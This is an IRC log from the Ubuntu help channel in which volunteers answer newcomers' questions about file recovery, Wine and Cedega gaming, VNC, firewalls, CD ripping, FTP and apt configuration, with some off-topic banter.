[07:16] <ubotu> rumour has it, kubuntu is Ubuntu+KDE, (not a fork) ; see http://kubuntu.org and you can go to #kubuntu for KDE-related help, or install from Ubuntu: sudo apt-get install kubuntu-desktop; ISOs: http://releases.ubuntu.com/kubuntu/breezy/
[07:16] <no_gatez_fan> ? i have my display in monitor adjusted all the way to the left, and it still needs to be adjusted a tad left still, anywhere i can move it over futher...or see what monitor driver and video card driver is loaded? (base system installed only)
[07:16] <x_or> nickrud: OK, will check out dsl.
[07:17] <wastrel> no_gatez_fan:  try xvidtune
[07:17] <no_gatez_fan> from a ssh?
[07:17] <LiveCD> my brother's FAT32 filesystem seems to have failed. i'm currently using the Ubuntu Live CD on his computer. how can i recover files from the filesystem?
[07:18] <wastrel> no_gatez_fan:  you mean from a command line?
[07:18] <Dr_Willis> LiveCD,  got a spare pc networked?
[07:18] <no_gatez_fan> yewa
[07:18] <no_gatez_fan> yes
[07:18] <O_Rei_do_Gado> polpak postgreesql had ide?
[07:18] <LiveCD> Dr_Willis, yes. the spare pc is running the full Ubuntu Breezy
[07:18] <O_Rei_do_Gado> or is only by commadn line?
[07:19] <wastrel> yes xvidtune is run at the command line
[07:19] <Dr_Willis> LiveCD,  make a samba share on it. and mount/copy the files over to it.
[07:19] <polpak> O_Rei_do_Gado, there are some graphical database administration tools yes
[07:19] <polpak> O_Rei_do_Gado, or you can use command line
[07:19] <O_Rei_do_Gado> i like grafical
[07:19] <Goldfisch> LiveCD: If you have a flash drive, another option is to mount it and copy off to flash.
[07:19] <kip> can i control remotly on windows machine?
[07:19] <O_Rei_do_Gado> like access
[07:19] <O_Rei_do_Gado> :)
[07:19] <Goldfisch> kip: vnc
[07:19] <kip> huh?
[07:19] <Goldfisch> !vnc
[07:19] <ubotu> hmm... vnc is http://ubuntuforums.org/archive/index.php/t-36715.html http://www.tightvnc.com/docs.html
[07:19] <Dr_Willis> kip,  i tend to use VNC for that task
[07:20] <LiveCD> Dr_Willis, but in /dev, there is only a hda, not a hda1. when i try to boot my brother's computer using the hard drive. it says "Operating System not found".
[07:20] <nazgulwalker> can someone help me to find file drscheme for ubuntu AMD64??
[07:20] <LiveCD> Goldfisch, read last post
[07:20] <Goldfisch> LiveCD: I thought you were running his machine from the Live CD?
[07:21] <O_Rei_do_Gado> polpak: http://www.postgresql.org/ftp/binary/v8.1.3/win32/ what is the link to use that 1st on windows?
[07:21] <tyler> why is it that an avi file cannot be played .. only thing that appears is....rainbow colored screen
[07:21] <Dr_Willis> LiveCD,  could be the HD is totally messed.
[07:21] <polpak> O_Rei_do_Gado, I don't understand the question
[07:21] <O_Rei_do_Gado> what is the link i chosse
[07:21] <O_Rei_do_Gado> ?
[07:21] <O_Rei_do_Gado> http://www.postgresql.org/ftp/binary/v8.1.3/win32/
[07:22] <O_Rei_do_Gado> there many...
[07:22] <nickrud> nazgulwalker: according to packages.ubuntu.com, it's in universe on the amd64
[07:22] <Goldfisch> LiveCD: The basics are: 1) boot up the machine from some live CD, be it ubuntu, dsl, knopiix, whatever. 2) mount the "bad" hard drive 3) either copy the files to another networked machine or to a locally mounted flash drive. 4) power down 5) replace hard drive
[07:22] <kip> willis
[07:23] <polpak> O_Rei_do_Gado, are you installing on ubuntu?
[07:23] <O_Rei_do_Gado> after i tryed in windows
[07:23] <Dr_Willis> kip
[07:23] <kip> how can i access my c:
[07:23] <O_Rei_do_Gado> with odbc tests
[07:23] <polpak> O_Rei_do_Gado, oh
[07:23] <kip> it wont show my hda
[07:23] <polpak> O_Rei_do_Gado, then you want the win32 version
[07:23] <O_Rei_do_Gado> yes fisrt,,,
[07:24] <O_Rei_do_Gado> ok
[07:24] <O_Rei_do_Gado> i have
[07:24] <nickrud> !enter
[07:24] <ubotu> Please don't use the "enter" key as punctuation! It spams the channel and is annoying.
[07:24] <Dr_Willis> kip,  use 'mount' to see if its mounte, and 'fdisk -l' to see what partitions are on it.. and perhaps mounti it manually if you need to
[07:24] <O_Rei_do_Gado> 21m
[07:24] <k31th> Anyone looking for webhosting or a remote box running ubuntu or any other distro 99.9% uptime
[07:24] <kip> willis slowly
[07:24] <polpak> O_Rei_do_Gado, I don't use windows, so I can't really help with the install of it on that platform. But if you have questions once it's installed I can try to help
[07:24] <pjz> does ubuntu-live support a dualheaded setup?
[07:25] <tomeklu> hi all
[07:25] <O_Rei_do_Gado> ok polpak
[07:25] <kip> im just starting in linux
[07:25] <O_Rei_do_Gado> thanks polpak!
[07:25] <dv_> hm is there an editor that supports workspaces?
[07:26] <andre> kip your not the only one i started lastweek
[07:26] <Goldfisch> kip: To read the details for any of these commands people throw at you, there are online manual pages. Type "man <command", and you will get details. So when people mention "mount" and "fdisk", you can always later look up "man mount" and "man fdisk" to re-read what they were talking about.
[07:26] <gopi> What does this command do? sudo mv ~/ivtv-0.4.0.tar.gz ./
[07:26] <dv_> not only multi-file support, but also workspaces that contain which files are opened? like the projects in quanta
[07:26] <O_Rei_do_Gado> at the moment polpak i use ms access database :(
[07:26] <Remenic> did something change about iptables?
[07:26] <redguy> dv_: kate?
[07:26] <LethalSword> Enthusiast78 did you find the link?
[07:26] <Remenic> it says that no modules are loaded for iptables... it worked before I rebooted!
[07:26] <redguy> dv_: kate has sessions
[07:26] <O_Rei_do_Gado> polpak: 5 or 6 year using msaccess database
[07:26] <nickrud> gopi: it moves the file from your home directory to the directory you're working in
[07:26] <LethalSword> !winex
[07:26] <ubotu> Huh? Try searching at http://ubuntu.cc.com.au/, LethalSword
[07:27] <mlalkaka> highvoltage, i'm LiveCD
[07:27] <dv_> oh cool thanks
[07:27] <dv_> and, some non-kde ones? :)
[07:27] <gopi> nickrud: ok thx
[07:27] <dv_> some machines here dont have kde
[07:27] <Kezzer> wooo, I'm now working from Ubuntu, now I just need to get XGL installed, although I doubt I'll succeed
[07:27] <Dr_Willis> winex is the old name for Cedega
[07:27] <highvoltage> mlalkaka: you are?
[07:28] <nickrud> !xgl
[07:28] <ubotu> XGL on Ubuntu: http://wiki.ubuntu.com/XglHowto - Join #ubuntu-xgl for all the XGL fun on Ubuntu systems. It works ONLY on dapper. Pretty videos on http://www.novell.com/linux/xglrelease/
[07:28] <highvoltage> mlalkaka: I'm a human.
[07:28] <nickrud> Kezzer: xgl isn't hard, the link should work for you
[07:28] <kip> !mount
[07:28] <ubotu> mount is, like, the command to add partitions to your filesystem - for full instructions see https://wiki.ubuntu.com/InstallingANewHardDrive For mounting windows partitions, see !windowsdrives or http://tinyurl.com/bly9f
[07:28] <redguy> Kezzer: xgl is only available in dapper, join #ubuntu+1 for dapper discussions
[07:28] <warthawg> speaking of hard, what is the best solution for running 32 bit apps on ubu 64?
[07:29] <mlalkaka> highvoltage, lol. i mean that there is another person in this channel named LiveCD, but that is the same person as me.
[07:29] <kip> im lost
[07:29] <no_gatez_fan> wastrel/ is says cannot open display
[07:29] <nickrud> warthawg: running 32bit apps from inside a chroot
[07:29] <LethalSword> !tell lethalsword about winex
[07:29] <Linuxhelp> hi guys does anyone knows why swat in ubuntu do not work??
[07:29] <andre> my partitions are on my desktop but how do i change permissions when i attempt to access it, give me a permissions stuff
[07:29] <jimcooncat> mlalkaka, I think I'm dyslescksik now
[07:29] <highvoltage> mlalkaka: aah
[07:30] <wastrel> no_gatez_fan:  you're running X?  or just console
[07:30] <warthawg> nickrud:  yechhh
[07:30] <kip> linuxhelp
[07:30] <no_gatez_fan> tried it both ways wastrel
[07:30] <kip> its linux not windows
[07:30] <mlalkaka> Dr_Willis, so is it possible to recover files from the damaged filesystem?
[07:30] <warthawg> what do you need, kip
[07:30] <LethalSword> !windows games
[07:30] <ubotu> LethalSword: Bugger all, I dunno. Try searching at http://ubuntu.cc.com.au/
[07:30] <LethalSword> does anybody know the download link for winex?
[07:31] <Linuxhelp> haha
[07:31] <dv_> LethalSword, it costs
[07:31] <dv_> its not free
[07:31] <void^> LethalSword: winex is cedega
[07:31] <Dr_Willis> mlalkaka,  of course its 'possible' - but  may not be easy
[07:31] <GigaClon> google is your friend
[07:31] <jimcooncat> !cedega
[07:31] <Dr_Willis> LethalSword,  winex is the old name for cegedg
[07:31] <Linuxhelp> on debian install is easy
[07:31] <LethalSword> is there a free alternative?
[07:31] <dv_> no
[07:31] <void^> LethalSword: wine
[07:31] <redguy> yes, wine
[07:31] <dv_> wine is not suited for games
[07:31] <warthawg> i would really like to watch march madness on cbssports online, anyone doing that on ubuntu?
[07:31] <mlalkaka> Dr_Willis, do you know how?
[07:31] <LethalSword> wine can play games?
[07:31] <void^> dv_: windows is suited for windows games
[07:31] <GigaClon> wine can play some games
[07:31] <dv_> void^, try playing 3d games with it
[07:31] <wastrel> no_gatez_fan:  xvidtune should work if you run it from X, perhaps you need to use sudo
[07:31] <Dr_Willis> mlalkaka,  depends on the file system you are trying to recover.
[07:31] <LethalSword> void^ can wine play windows games?
[07:31] <bkf> quit
[07:32] <GigaClon> like minesweeper
[07:32] <mlalkaka> Dr_Willis, fat32
[07:32] <void^> dv_: most of 3d games developed for windows run fine on windows
[07:32] <no_gatez_fan> wastrel/ i giv it a shot
[07:32] <Dr_Willis> the latest wine can play Many of the new games i hear.
[07:32] <GigaClon> LethalSword, which games?
[07:32] <void^> LethalSword: i play hearts of iron 2 with it
[07:32] <kip> warth
[07:32] <kip> look your pm
[07:32] <Dr_Willis> mlalkaka,  google for 'fat32 recovery linux' - would be a start
[07:32] <LethalSword> so i can play windows games with 3d acceleration
[07:32] <LethalSword> ?
 dv_: most of 3d games developed for windows run fine on windows <- ahem
[07:32] <Chodder> lol
[07:32] <Dr_Willis> LethalSword,  depends on the game.
[07:33] <Chodder> i was questioning that myself
[07:33] <warthawg> kip i don't have any pm from you
[07:33] <kip> in irc'
[07:33] <void^> dv_: okay, the really badly coded ones don't ever run fine
[07:33] <LethalSword> can i install direct on linux through crossover office?
[07:33] <LethalSword> directx?
[07:33] <p01n7> OmegaAlpha, whats up
[07:33] <nazgulwalker> can someone send me /etc/apt/sources.list who use amd64 ubuntu 5.10 breezy , and have no problem with apt-get(Thanks);
[07:33] <Dr_Willis> LethalSword,  you do NOT install 'directx' :P
[07:33] <Chodder> WineX
[07:33] <Dr_Willis> LethalSword,  but if you really want to.. go ahead and try...
[07:33] <_jason> ubotu: tell nazgulwalker about easysource
[07:33] <gnomefreak> LethalSword: you use wine and run it with whatever else your running
[07:33] <dv_> but try playing deus ex 2, or half life 2, doom 3, battlefield 2, X 3, deus ex 1, unreal 2, fear, system shock 2, avp2 in wine
[07:34] <void^> LethalSword: seriously, don't try running your windows 3d games or whatever on linux when you're new to linux.
[07:34] <dv_> you need cedega for those, not wine
[07:34] <LethalSword> but i wanna play my gaaames
[07:34] <LethalSword> and cedega costs money
[07:34] <dv_> i want to see fear working with wine
[07:34] <void^> dv_: look at what i said?
[07:34] <Dr_Willis> LethalSword,  so....
[07:34] <Chodder> dv_, you can play HL2 in wine
[07:34] <gnomefreak> LethalSword: dual boot ;)
[07:34] <_jason> LethalSword: either load windows or buy cedega
[07:34] <thelsdj> is there a jabber client in ubuntu repositories that can subscribe to other network gateway transports? (yes i know i can use gaim to be on multiple networks, but i have to test jabber transports for work)
[07:34] <Chodder> You just need to set it up correctly
[07:34] <dv_> void^, its not bad code
[07:34] <warthawg> there you go, naz
[07:34] <LethalSword> if i get windows ill be hacked again
[07:34] <warthawg> nazgulwalker, that is
[07:34] <dv_> wine does not have shader support, it lacks dx9
[07:35] <nazgulwalker> thank you very much
[07:35] <LethalSword> lol the directx setup just froze
[07:35] <gnomefreak> LethalSword: what stopping people from hacking you now?
[07:35] <dv_> LethalSword, thats why I dualboot
[07:35] <Dr_Willis> LethalSword,  quit runnign the junk that gets you hazored in windows.
[07:35] <Chodder> dv_, If I can play CS source in normal wine with a few mods done to it, im sure I could play HL2
[07:35] <dv_> even with cedega many games dont run ok
[07:35] <void^> dv_: no, i said < void^> dv_: windows is suited for windows games, you replied with < dv_> void^, try playing 3d games with it <- some misunderstanding there
[07:35] <LethalSword> i wasnt running anything hazordous Dr_Willis
[07:35] <dv_> void^, well ok, most 2d games run fine
[07:36] <kip> seem too that itd yes lethal
[07:36] <Dr_Willis> LethalSword,  sure.... whatever.. :P i bet you updated everything all the time as well.
[07:36] <GigaClon> your running windows LethalSword thats hazardous enough
[07:36] <dv_> but if someone wants to play windows games, on most occasions they mean 3d games
[07:36] <kip> dr most ppl dont do it
[07:36] <dv_> good old adventures are dead :/
[07:36] <LethalSword> Dr_willis i did update
[07:36] <p01n7>  zuokanyunqi, why do you join IRC as root?
[07:36] <gnomefreak> sp2 had a bunch of holes in it ;)
[07:36] <Dr_Willis> LethalSword,  looks like you got some Tough Choices to make.
[07:36] <LethalSword> yea
[07:36] <kip> GC dont say that
[07:36] <void^> dv_: "windows is suited for windows games" i said windows, not wine.
[07:36] <kip> dr
[07:36] <Chodder> I couldn't get chessmaster run good in wine but I could get CS Source running good
[07:36] <GigaClon> I dual boot
[07:37] <LethalSword> keep linux and play no games or install windows and risk getting hacked again
[07:37] <Dr_Willis> Chessmaster :P lol.
[07:37] <GigaClon> you can play games in linux
[07:37] <kingspawn> I see no reason to struggle so immensely to get games to run under linux. Dual boot, if you must play.
[07:37] <dv_> LethalSword, if you want to play top-notch 3d stuff available for windows only then install both
[07:37] <GigaClon> http://www.happypenguin.org
[07:37] <kip> LS the choice is easy
[07:37] <dv_> and use windows mostly for playing
[07:37] <Chodder> Chessmaster is the shit, It beats out gnuchess by a mile
[07:37] <Chodder> :P
[07:37] <dv_> and ignore comments on you using windows.
[07:37] <kingspawn> then you have one os for using a computer, and one for playing a game
[07:37] <Dr_Willis> I can say that ive never had windows 'hacked' . :p but I try to be as secure as possible withit.
[07:37] <kip> i want a go game on linux
[07:37] <warthawg> what is chessmaster's rating?
[07:37] <Dr_Willis> GnuGo
[07:38] <dv_> its *YOUR* choice, not theirs. so they can stick their barks where the sun doesnt shine.
[07:38] <Chodder> RTCW:ET
[07:38] <LethalSword> Dr_Willis what is the best firewall for windows?
[07:38] <kingspawn> and fritz beats chessmaster, and rybka beats fritz.
[07:38] <p01n7> Dr_Willis, you mean cracked, right?
[07:38] <warthawg> kip, even got a console go game for you
[07:38] <Chodder> Dr_Willis, GnuGO?
[07:38] <kip> how to install it
[07:38] <GigaClon> LeeJunFan, ZoneAlarm
[07:38] <void^> kip: gnugo with qgo
[07:38] <GigaClon> kip, google is your friend
[07:38] <wastrel> hello
[07:38] <timmy_> hello...
[07:38] <kip> willis
[07:38] <void^> kip: or play on kgs with cgoban2
[07:38] <p01n7> LethalSword, umm.. not the place ( #windows is ).. i say blackice
[07:38] <Dr_Willis> LethalSword,  I tend to let my linksys router do the firewalling  needs.
[07:39] <LethalSword> Dr_Willis i was running a router
[07:39] <LethalSword> the hacker broke through it
[07:39] <kip> im fairly new so help me out
[07:39] <Chodder> LethalSword, more like you got loads of spyware
[07:39] <Dr_Willis> LethalSword,  'prove' it.
[07:39] <azurehuesofblue> lol
[07:39] <no_gatez_fan> wastrel/ thanks
[07:39] <nickrud> LethalSword: I'm sure you can make windows not go on line, so no chance of spyware/hack whatever
[07:39] <Dr_Willis> Chodder,  thats what i was getting at.
[07:39] <Chodder> Heh
[07:39] <louwill> to play psx in linux go here http://eric.halo43.com/linux_psx_emu.php
[07:39] <no_gatez_fan> very sensitive isnt it
[07:39] <kip> nick deplug the rj45 cable
[07:39] <Dr_Willis> psx emulation is good. :P
[07:39] <Dr_Willis> snes emulation is good.
[07:39] <Chodder> omg the spyware d00dz h4x0r'd my pUt3r
[07:39] <n3m3s1s_> why i have error "make" command not found
[07:40] <void^> amiga emulation is good :)
[07:40] <kip> i want ps2 emu
[07:40] <apokryphos> n3m3s1s_: install build-essential
[07:40] <Chodder> heh
[07:40] <Chodder> ps2 emu wouldnt run very efficent
[07:40] <gnomefreak> n3m3s1s_: sudo apt-get install build-essential
[07:40] <kip> that will be long
[07:40] <n3m3s1s_> erf
[07:40] <Dr_Willis> void^,  i find winuae a little better under windows then uae under linux. same with Vice and WinVice.
[07:40] <n3m3s1s_> but my friend haven't connection
[07:40] <Dr_Willis> Not tried the PS2 emulators.
[07:40] <warthawg> n3m3s1s:  what kind of wuss distro are you running that doesn't come with a build envorinment by default?  oh, wait a sec.
[07:41] <void^> Dr_Willis: yes, that's true.. i think the cloanto folks improved graphics performance :/
[07:42] <Dr_Willis> void^,  actually i dont think they did much :P its the winuae team that did the work
[07:42] <wastrel> what's winuae
[07:42] <Dr_Willis> void^,  that picasso driver stuff - seems to help a lot
[07:42] <Dr_Willis> wastrel,  Windows Version of the UAE amiga emulator
[07:42] <Dr_Willis> its amazing good.
[07:42] <Chodder> Anyone ever read this?
[07:42] <Chodder> http://www.microsoft.com/athome/security/children/leetspeak.mspx
[07:42] <void^> Dr_Willis: well whoever it was, they did a nice job =) should have ported it back to uae, though.
[07:42] <Absenth> is there a way to boost or tweak 3d performance with the "nvidia" driver?
[07:42] <Dr_Willis> void^,  i think they some how are using the directx features. :(
[07:43] <void^> Dr_Willis: ambermoon on uae runs little better than on my old a500 :(
[07:43] <Dr_Willis> void^,  heh - it blows away my A1200
[07:44] <void^> hm, have to try again someday :)
[07:44] <louwill> How can I rip psx isos in linux?
[07:44] <gnomefreak> Chodder: please bring microsoft talk to #ubuntu-offtopic
[07:45] <redguy> java
[07:45] <redguy> !java
[07:45] <ubotu> To install Java/Sun Java see Java on https://wiki.ubuntu.com/RestrictedFormats and also see !javadebs
[07:45] <nickrud> Absenth: you should have nvidia-settings available, don't know if it's what you want
[07:45] <louwill> to rip isos?
[07:45] <Chodder> gnomefreak, it wasnt microsoft talk, rather a funny link that has nothing to do with M$
[07:45] <Chodder> But ya ok...
[07:45] <kbrooks> Chodder, a link to a micriosoft site is still, technically talk about it
[07:45] <Chodder> People are to sensitive...
[07:46] <Absenth> nickrud, yeah,  doesn't quite cover what I was looking for, but a great tool none the less.
[07:46] <kbrooks> @ gnomefreak: it's the same  thing as posting a site with curse words.
[07:46] <gnomefreak> lol
[07:46] <djabel> ;] 
[07:46] <kbrooks> you'renot swearing, but technically you are *through* the site
[07:46] <louwill> I want to know how to make psx iso image from disk in linux
[07:46] <Absenth> nickrud, using cedega on ubuntu breezy, WoW operates at less then 25 fps on an FX5900 Ultra.  in windows at much higher graphics settings I get closer to 75 fps.
[07:46] <GigaClon> k3b works
[07:47] <Absenth> nickrud, I suspect the driver just isn't as good :/
[07:47] <nickrud> !dualboot
[07:47] <ubotu> it has been said that dualboot is https://wiki.ubuntu.com/WindowsDualBootHowTo
[07:47] <nickrud> Absenth: :)
[07:47] <polpak> Absenth, did you pass the -opengl option to WoW?
[07:47] <kbrooks> gnomefreak, how about 15 out of 20?
[07:47] <Absenth> polpak, probibly not.....  I'll have to try that when I get home.
[07:48] <katarot> is there any other way to connect wlan to internet without router
[07:48] <louwill> what software makes isos in linux?
[07:48] <polpak> Absenth, it makes a big difference
[07:48] <louwill> hello
[07:48] <polpak> louwill, there's many
[07:48] <gnomefreak> !iso
[07:48] <ubotu> [iso]  download Ubuntu at http://www.ubuntu.com/download/ and for help burning the CD, please see https://wiki.ubuntu.com/BurningIsoHowto
[07:48] <Absenth> polpak, thanks for the tip....  that option forces D3D as the rendering option then?
[07:48] <jbroome> katarot: just set it outside and it will absorb the internet
[07:48] <Absenth> -option +engine
[07:49] <Absenth> jbroome, heh.......  :)
[07:49] <gnomefreak> louwill: make an iso is different than burning an iso
[07:49] <polpak> Absenth, no, it forces opengl rather than D3D.. Linux plays much nicer with opengl
[07:49] <Absenth> polpak, Ahhhh!  got it.;
[07:49] <polpak> Absenth, the same option can be used with Warcraft 3
[07:49] <katarot> what do what i did inside when i first got my router only this time i do it outside
[07:49] <louwill> I want a software to ripping a cd not to burn
[07:49] <polpak> Absenth, cause bliz was smart enough to develop for both graphic engines
[07:50] <JayR168> ubuntu will not start if I select MPS table to disable in my BIOS settings why?
[07:50] <louwill> what software works for that?
[07:50] <mlalkaka> Dr_Willis, i did the google search and it looks like all the programs run on windows, which is useless because i can't boot into windows and if i could, there would be no problem. i can't find a linux tool to fix a fat partition, which is understandable.
[07:50] <Absenth> polpak, I gather you've used cedega and a couple of the blizzard games semi-recently then :)
[07:50] <nickrud> louwill: you could try dd if=/dev/cdrom of=file.iso bs=1024
[07:50] <louwill> does'n work
[07:50] <polpak> Absenth, I used to.. I don't really play them anymore. Not a lot of free time =)
[07:50] <polpak> louwill, data cd or audio?
[07:51] <nickrud> louwill: copy protect then I would guess
[07:51] <mlalkaka> Dr_Willis, i did make a back up of the data a month ago, so i guess i will have to use that. thanks for helping. cya
[07:51] <louwill> psx cd
[07:51] <polpak> louwill, lol
[07:52] <polpak> louwill, no idea. You can try gnomebaker or k3b but I can't make any guarentees
[07:52] <pjz> does ubuntu-live support a dualheaded setup? I booted it and it saw the GeForce 5300 but not the Radeon 7000
[07:52] <louwill> ok thanks
[07:53] <JayR168> ubuntu will not start if I select MPS table to disable in my BIOS settings why?
[07:53] <katarot> emmm will that work if im no were near my router see i went away and took my laptop thinking that because it was set up to the router it would work after a while my internet cut off now im in my uncles house and on his computer and im still trying to set my laptop up to work with ubuntu
[07:53] <kbrooks> whoo.
[07:53] <JayR168> guys? what does MPS in bios do?
[07:53] <kbrooks> i have many applet goodies
[07:53] <gnomefreak> JayR168: ask the manufacturer of your motherboard?
[07:54] <GigaClon> JayR168, if it doesn't work then don't use that setting
[07:54] <kbrooks> um.
[07:54] <nickrud> JayR168: Multiprocessor Specification
[07:54] <kbrooks> firefox uses a big chunk of memory
[07:55] <kbrooks> 113.4 MiB !!!
[07:55] <JayR168> thanks
[07:55] <apokryphos> ff sucks :D
[07:55] <kbrooks> apokryphos, so what browser do you use?
[07:56] <Dr_Willis> lynx
[07:56] <Dr_Willis> :P
[07:56] <apokryphos> kbrooks: Konqueror, or Opera on rare occassions.
[07:56] <Dr_Willis> telnet
[07:56] <nickrud> if lynx doesn't render it, use nothing :)
[07:56] <nickrud> slooow
[07:56] <kingspawn> im an avid fan of links myself
[07:56] <Dr_Willis> lynx makes porn sites even dull..
[07:56] <apokryphos> konqueror is spee-edy; khtml rocks my socks.
[07:58] <apokryphos> nickrud: very easy to do in ubuntu :)
[07:59] <GlemSom> I still prefre links... It has frame support...
[07:59] <linuxboyfriend> hi all
[07:59] <kbrooks> nickrud, apt-get install kubuntu-desktop. Done.
[07:59] <nickrud> apokryphos: true. Every time I try I like a lot, but i've been using gnome for so long I get totally frustrated with some differences
[08:00] <kbrooks> nickrud, like what a lot?
[08:00] <nickrud> kbrooks: konqueror's speed, for one
[08:00] <kbrooks> nickrud: what differences are you talking about?
[08:00] <linuxboyfriend> my friend installed ubuntu in his office, he was asking that apt is not downloading anyting? Also he told me that he used the same IP and Port in synaptic's networking settings! Can anyone tell me that what maybe the problem?
[08:00] <z33> I have an hda1 icon on my desktop, is that my winXP NTFS partition? When I open it, it says contents could not be displayed because I don't have permission.
[08:00] <nickrud> kbrooks: phone calls, I'm sorta at work
[08:01] <gnomefreak> konqueror has speed??????
[08:01] <kbrooks> nickrud, ?????????
[08:02] <kbrooks> nickrud, what are you talking about?
[08:02] <knorzelinchen> hi
[08:02] <gnomefreak> hi
[08:02] <knorzelinchen> everybody english speaking here?
[08:02] <gnomefreak> all of us
[08:02] <knorzelinchen> but why?
[08:02] <gnomefreak> ok most of us
[08:02] <apokryphos> gnomefreak: yes, it has a lot. More than firefox.
[08:02] <jke> how can i copy paste something from my machine to an ftp server, using the command line from an ubuntu livecd?
[08:02] <gnomefreak> knorzelinchen: there are other channels for other languages
[08:03] <knorzelinchen> where do you come from gnomefreak?
[08:03] <apokryphos> on all decent benchmark tests, khtml proves the better, in fact. It also uses like 10 ten times less code.
[08:03] <gnomefreak> apokryphos: you think that has speed try links2 ;)
[08:03] <polpak> jke, you can ftp from your machine to something else yes.
[08:03] <louwill> I speak english and spanish
[08:03] <gnomefreak> knorzelinchen: this is a support channel for ubuntu if you dont have an issue with ubuntu please join #ubuntu-offtopic
[08:03] <polpak> jke, perhaps if you were more specific
[08:04] <knorzelinchen> ive got enough issues with ubuntu, be sure
[08:04] <gnomefreak> knorzelinchen: than lets see what we can do to fix your system
[08:04] <hoplaa> hello, i have a small problem with ubuntu & sound
[08:04] <jke> polpak: okay. i have an ftp server running on machine B. i want to copy some data to this ftp server from machine A. machine A is running the live cd :)
[08:05] <polpak> jke, ok, so just ftp it?
[08:05] <leku> hi
[08:05] <leku> I just upgraded to dapper and my KDED is crashing ike crazy
[08:05] <linuxboyfriend> can anyone help me about that apt error?
[08:05] <polpak> !dapper
[08:05] <ubotu> The next release of Ubuntu is Dapper Drake - /join #ubuntu+1 for discussion
[08:05] <hoplaa> I did a fresh install ubuntu 5.10 and now when I try to play anything with XMMS I dont hear a thing
[08:05] <apokryphos> linuxboyfriend: which one?
[08:05] <gnomefreak> linuxboyfriend: what apt error?
[08:06] <jke> polpak: how do i do it?
[08:06] <GigaClon> leku, make sure its using the right output
[08:06] <hoplaa> I have configured it to use ALSA
[08:06] <ubuntu_kip> willis
[08:06] <gnomefreak> hoplaa: like are you trying to listen to mp3? or what?
[08:06] <linuxboyfriend> gnomefreak: hi, lemme copy-pate again :)
[08:06] <GigaClon> hoplaa killall esd again
[08:06] <hoplaa> mp3/cd whatever
[08:06] <gnomefreak> linuxboyfriend: pastebin please
[08:07] <polpak> jke, is machine A running the live CD using X windows?
[08:07] <linuxboyfriend> gnomefreak: my friend installed ubuntu in his office, he was asking that apt is not downloading anyting? Also he told me that he used the same IP and Port in synaptic's networking settings! Can anyone tell me that what maybe the problem?
[08:07] <jke> polpak: yes
[08:07] <gnomefreak> hoplaa: i ask because you need software to listen to mp3s
[08:07] <gnomefreak> linuxboyfriend: he has teh wrong sources.list
[08:07] <jke> polpak: i need to move dir, put i didn't have any luck doing that with ftp & put
[08:07] <xsmogx> In everyone's opinion how are the default iptables rules?
[08:08] <gnomefreak> s/teh/the
[08:08] <hoplaa> i've installed all the needed ones i think, right now im trying to listen regular cd and i cant hear a thing
[08:08] <_jason> xsmogx: blank
[08:08] <_jason> :)
[08:08] <xsmogx> They come blank?
[08:08] <linuxboyfriend> gnomefreak: i think i should give him my sources.lst. OK?
[08:08] <GigaClon> hoplaa, check what output XMMS is using
[08:08] <hoplaa> ALSA
[08:08] <xsmogx> I have a ton of rules that I don't remember making.
[08:08] <hoplaa> i can hear the system sounds allright so
[08:08] <_jason> xsmogx: did you install firestarter or something?
[08:08] <GigaClon> hoplaa, change it to esd in XMMS
[08:08] <gnomefreak> linuxboyfriend: yes as long as he is using same version of ubuntu as you
[08:08] <feifongwong> http://www.securityfocus.com/brief/161 <- :O
[08:08] <xsmogx> oh yeah I did
[08:08] <_jason> xsmogx: yeah, firestarter creates them
[08:09] <xsmogx> I see
[08:09] <xsmogx> how do you manage firestarter, command or gui?
[08:09] <hoplaa> nope, still nothing
[08:09] <linuxboyfriend> gnomefreak: yes, we are using same 5.10 version (not virgin :)
[08:09] <gnomefreak> huh?
[08:09] <gnomefreak> i said version i hope :(
[08:09] <_jason> smog: firestarter is just a gui frontend for iptables
[08:09] <polpak> jke, you can just go to Places->Connect to Server and specify the FTP info there. Then just drag and drop from nautilus
[08:10] <linuxboyfriend> gnomefreak: no, i was just joking :)
[08:10] <smog> How would I get to the gui?
[08:10] <hoplaa> if i use cd player which comes with gnome it plays ok
[08:10] <gnomefreak> oh good sorry
[08:10] <louwill> Do you know a Sega Master Sistem emulator in ubuntu?
[08:10] <_jason> smog: applications menu > system tools > firestarter
[08:10] <smog> Thank you Jason
[08:10] <linuxboyfriend> gnomefreak: kindly help me in another problem http://pastebin.com/605940 this appear when my gnome starts
[08:10] <gnomefreak> knorzelinchen: must not have issues with ubuntu at all oh well brb
[08:10] <juanan> hola
[08:10] <juanan> hay alguien??
[08:10] <tru> is there a small image for doing network installations of drapper.
[08:10] <louwill> yo
[08:10] <_jason> !es
[08:10] <juanan> hola???
[08:10] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, alli obtendran mas ayuda.
[08:11] <louwill> si yo
[08:11] <jke> polpak: thanks alot! works great :)
[08:11] <juanan> alguien me puede ayudar
[08:11] <juanan> es que soy nuevo en linux
[08:11] <_jason> juanan: type this: /join #ubuntu-es
[08:11] <louwill> hay un emulador de sega para Ubuntu?
[08:11] <_jason> louwill: /join #ubuntu-es
[08:11] <_Felix> hello people
[08:11] <juanan> y no tengo ni idea de como instalar programas ni nada
[08:11] <gnomefreak> linuxboyfriend: ive seen that the other day cant for my life remember where (check launchpad bugs)
[08:11] <knorzelinchen> where do you come from @all
[08:11] <Tripke> belguim
[08:11] <gnomefreak> knorzelinchen: please take it to #ubuntu-offtopic
[08:11] <komani-Niklas> germany
[08:12] <dozah`> Hi there
[08:12] <dozah`> anyone who can help me with the ubuntu installation ?
[08:12] <dozah`> im new to linux
[08:12] <linuxboyfriend> gnomefreak: i am trying to add my keyboard support but its not working :(
[08:12] <louwill> where is ubuntu-offtopic?
[08:12] <dozah`> and im kinda stuckk
[08:12] <GlemSom> I saw this guide on how to unstall wine on a Ubuntu system... but it does not work... apt-cache search does not know of wine... (this guide: http://www.winehq.com/site/download-deb):
[08:12] <_jason> louwill: /join #ubuntu-offtopic
[08:12] <gnomefreak> louwill: #ubuntu-offtopic is a channel
[08:12] <polpak> !tell dozah` about anyone
[08:13] <juanan> alguien me puede abrir un privado para ayudarme con unos problemillas???
[08:13] <juanan> porfavor
[08:13] <_Felix> alguien -> someone :D
[08:13] <_Felix> me -> me
[08:13] <louwill> YO
[08:13] <polpak> dozah`, just ask your question.. If someone can answer they weill
[08:13] <Tripke> is someone using wifi on ubuntu ( device level one WPC0300 )
[08:13] <louwill> que tu quieres?
